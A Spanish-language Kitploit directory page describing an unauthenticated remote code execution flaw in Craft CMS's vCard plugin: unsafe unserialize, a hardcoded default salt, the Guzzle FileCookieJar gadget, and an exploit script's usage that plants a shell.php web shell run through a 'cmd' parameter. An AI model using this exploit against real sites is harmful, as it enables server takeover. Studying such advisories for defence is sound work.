Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
craftcms-vcard-exploit — Este repositorio contiene detalles sobre una vulnerabilidad encontrada en el plugin "vCard" para CraftCMS 3. | Kitploit
Herramientas/GitLabGitLab/wguest/craftcms-vcard-exploit
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitLabwguest/craftcms-vcard-exploit

craftcms-vcard-exploit

Este repositorio contiene detalles sobre una vulnerabilidad encontrada en el plugin "vCard" para CraftCMS 3.

Ver Repositorio
110hace 6 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Vulnerabilidad de deserialización en el plugin vCard de Craft CMS

Craft CMS tiene un plugin para descargar contactos en formato de archivo *.vcf llamado «vCard». El plugin se puede revisar en el repositorio de Craft y en Github: Craft Plugin Store Github

Descripción

Este plugin toma un parámetro enviado por el cliente, descifra el valor con openssl_decrypt y luego pasa la cadena resultante a la función unserialize de PHP. Dado que la sal predeterminada para el cifrado está disponible en el repositorio, un atacante puede usar la misma lógica para cifrar un payload serializado malicioso.

Si el usuario tiene configurado un valor de «salt» modificado en los ajustes del plugin, entonces este deberá proporcionarse como parámetro al script de Python. Sin embargo, este valor permanecerá sin cambios si se descarga desde la tienda de plugins o simplemente clonando el repositorio. No hay opción de cambiarlo a través de la interfaz web de Craft.

Uso del script

Ejecute el script proporcionando el enlace vCard que activa la descarga del contacto. Elimine el valor del parámetro vcard.

Ejemplo: Enlace de descarga vCard de ejemplo: http://craftcms/index.php?p=actions/vcard/default/index&vcard=GxHwdD1xmDkQoWbn_nPsgVR-2VOQt6w_oDmLl9h4jAglePdkMM1NMBKHTmq9Uuu7XFM9qvNs3Mi_B0-bT2JbfsflmMDzL29w2QaP28vRBHmyDLTMcacJwuBXEDUqF-sxovuY7oN-YFZXA4jOwC0CyxjLKIjz3UWBf-1ItLRkqKSSAHBuHOMeB5drdTqw67ZCmnlLVI7FYVUNBS9q3WrMRWMhexjHbO2VymDdV3q0GOlZmES9Imgdwq9ibI6okG_QFqHHq33a8U_m4NPvjTqsdm6Wm3OjcPSVV9L2RR8ZnhN9CayfaShb5jligs5b0So2Vddo8EmCZUgKP7-BIT4dlWRGwD_F0w2PyjUZRsRx25ydy6ZklXXHMb4fkrxuKXaHGfB8Y9SUbcQYAUK2OZhZno0FKWzUABDEjjvquevUSTgJr7wNq2oU4YpBwWoQCNGX7ILAuWN8_7GFIajhosdoOilLiLTmoJPWHfdpNKRaZlYcLX9zF7fUXw_BsHJZOySZhbSL0Q7ktzs__DygIL5uuongteXKIafhUFZxPEcC1W9OHy767Lgg77hJwp7lqF1krtHbbQ1o-4hV12dPkouauQ

El parámetro para el script sería entonces: "http://craftcms/index.php?p=actions/vcard/default/index&vcard="

$ ./exploit_vcard.py -u "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
Deserialization has been triggered, navigate to craftCMS webroot/shell.php
Use GET parameter 'cmd' to execute commands
Example: http://craftcms/shell.php?cmd=ls%20-al;whoami;ip%20a

Hay un valor de sal opcional que se puede proporcionar. Todas las opciones se muestran aquí:

usage: exploit_vcard.py [-h] -u URL [-s SALT] [-f FNAME]
Unauthenticated RCE for CraftCMS vCard Plugin

optional arguments:
-h, --help  show this help message and exit
-u URL      The URL for the vCard download without the vCard value Example:
          http://craftcms/index.php?p=actions/vcard/default/index&vcard=
-s SALT     Security key required for encrypting payload. Defaul is
          's34s4L7'
-f FNAME    File path/name to use as value in upload path: ./<value> . Use a
          PHP extension. Default value is 'shell.php'

Requisitos

  • Python3

El script de Python se probó en Python 3.6

  • PHP CLI

El script ejecutará un comando PHP en el host del atacante para cifrar el payload. Por lo tanto, será necesario tener instalado php-cli. Este ataque se probó con PHP 7.2-cli y PHP 7.3-cli

Análisis de la vulnerabilidad

Este es un fragmento de dónde el código deserializa de forma insegura (VCardService.php:297) Github:

  public function decodeUrlParam($optionsString = "")
  {
    $optionsString = $this->decrypt($optionsString);
    $options = unserialize($optionsString);
    return $options;
  }

El parámetro $optionsString es el valor del parámetro URL «vcard» proporcionado por el cliente. Se pasa a través de la función decrypt y luego se deserializa. Si el cliente puede replicar el cifrado, este código se vuelve vulnerable, ya que deserializa directamente datos proporcionados por el usuario.

Esta es la función de cifrado en cuestión (VCardService.php:306) Github:

  protected function encrypt($string)
  {
    $key = VCard::$plugin->getSettings()->salt;
    $key = md5( $key );
    $iv = substr( md5( $key ), 0, 16);

    return rtrim(
      strtr(
        base64_encode(
          openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
        ),
        '+/', '-_'
      ), '='
    );
  }

El único valor que un atacante necesita conocer es la variable $key establecida por «VCard::$plugin->getSettings()->salt». El valor predeterminado se puede ver en el repositorio como «s34s4L7» (config.php:26) Github

Asumiendo que se utiliza la sal predeterminada, un atacante puede forzar la deserialización de cualquier clase en la instalación de Craft.

Necesitamos encontrar una clase «gadget» en la instalación predeterminada de Craft que podamos usar con fines maliciosos. Revisar qué clases tienen funciones mágicas __destruct o __wakeup proporciona una lista lo suficientemente pequeña para analizar. Esto se puede hacer usando "grep -rni < path to web root > -e '__destruct'"

guzzlehttp tiene una clase llamada «FileCookieJar» que parece guardar un archivo usando un atributo de clase como nombre de archivo:

./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:38:    public function __destruct()
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-39-    {
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-40-        $this->save($this->filename);
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-41-    }
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-42-

Al investigar la función save se observa que escribirá datos en una ruta del sistema; tanto la ruta como los datos son atributos de clase y están bajo el control del atacante. Tiene sentido que, cuando se destruye este objeto de clase, escriba las cookies que tuviera en el atributo de nombre de archivo para recuperarlas o usarlas más tarde. Este es el contenido de la función save, siendo file_put_contents nuestro objetivo (FileCookieJar.php:52) Github:

public function save($filename)
{
    $json = [];
    foreach ($this as $cookie) {
        /** @var SetCookie $cookie */
        if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
            $json[] = $cookie->toArray();
        }
    }

    $jsonStr = \GuzzleHttp\json_encode($json);
 
    if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
        throw new \RuntimeException("Unable to save file {$filename}");
    }
}

Afortunadamente, no tenemos que hacer el trabajo manual para construir el payload malicioso nosotros mismos. La maravillosa herramienta PHPGGC automatiza la serialización de una clase Guzzle con un payload para que la usemos en este exploit.

Utilicé la herramienta para crear esto como payload base para el script del exploit, aunque se modificará ligeramente según el nombre de archivo. Además, es importante tener en cuenta que, si se genera un nuevo payload con PHPGGC, el parámetro «-f» debe usarse o la función mágica __destruct no se ejecutará:

Descargar herramienta